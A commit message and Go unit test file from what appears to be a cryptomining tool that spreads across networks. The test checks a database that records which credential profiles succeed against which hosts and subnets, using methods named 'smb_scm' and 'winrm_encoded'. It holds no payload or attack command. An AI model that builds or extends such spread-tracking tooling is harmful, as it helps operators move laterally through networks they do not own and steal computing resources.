Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/internal/db/cred_edges_test.go

@@ -0,0 +1,64 @@
+package db
+
+import (
+	"path/filepath"
+	"testing"
+)
+
+func TestInsertCredEdgeAndGraph(t *testing.T) {
+	dir := t.TempDir()
+	d, err := New(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer d.Close()
+
+	if err := d.InsertCredEdge("10.0.0.12", "10.0.0", "profile-a", "smb_scm", "agent-1", true); err != nil {
+		t.Fatal(err)
+	}
+	if err := d.InsertCredEdge("10.0.0.13", "10.0.0", "profile-a", "smb_scm", "agent-1", false); err != nil {
+		t.Fatal(err)
+	}
+	if err := d.InsertCredEdge("192.168.1.5", "192.168.1", "profile-b", "winrm_encoded", "agent-2", true); err != nil {
+		t.Fatal(err)
+	}
+
+	affinity, err := d.ListCredProfileAffinity("10.0.0")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(affinity) != 1 || affinity[0].CredentialProfileID != "profile-a" || affinity[0].SuccessCount != 1 {
+		t.Fatalf("unexpected affinity: %#v", affinity)
+	}
+
+	graph, err := d.ListCredGraphBySubnet()
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(graph) != 2 {
+		t.Fatalf("expected 2 subnet rows, got %#v", graph)
+	}
+	found := map[string]CredGraphSubnetRow{}
+	for _, row := range graph {
+		found[row.Subnet] = row
+	}
+	if found["10.0.0"].EdgeCount != 2 || found["10.0.0"].SuccessCount != 1 || found["10.0.0"].FailCount != 1 {
+		t.Fatalf("unexpected 10.0.0 aggregate: %#v", found["10.0.0"])
+	}
+
+	// WAL file should live under temp dir (migration sanity).
+	if _, err := filepath.Glob(filepath.Join(dir, "miner.db*")); err != nil {
+		t.Fatal(err)
+	}
+}
+
+func TestInsertCredEdgeRequiresFields(t *testing.T) {
+	d, err := New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer d.Close()
+	if err := d.InsertCredEdge("", "10.0.0", "profile-a", "smb_scm", "agent-1", true); err == nil {
+		t.Fatal("expected validation error")
+	}
+}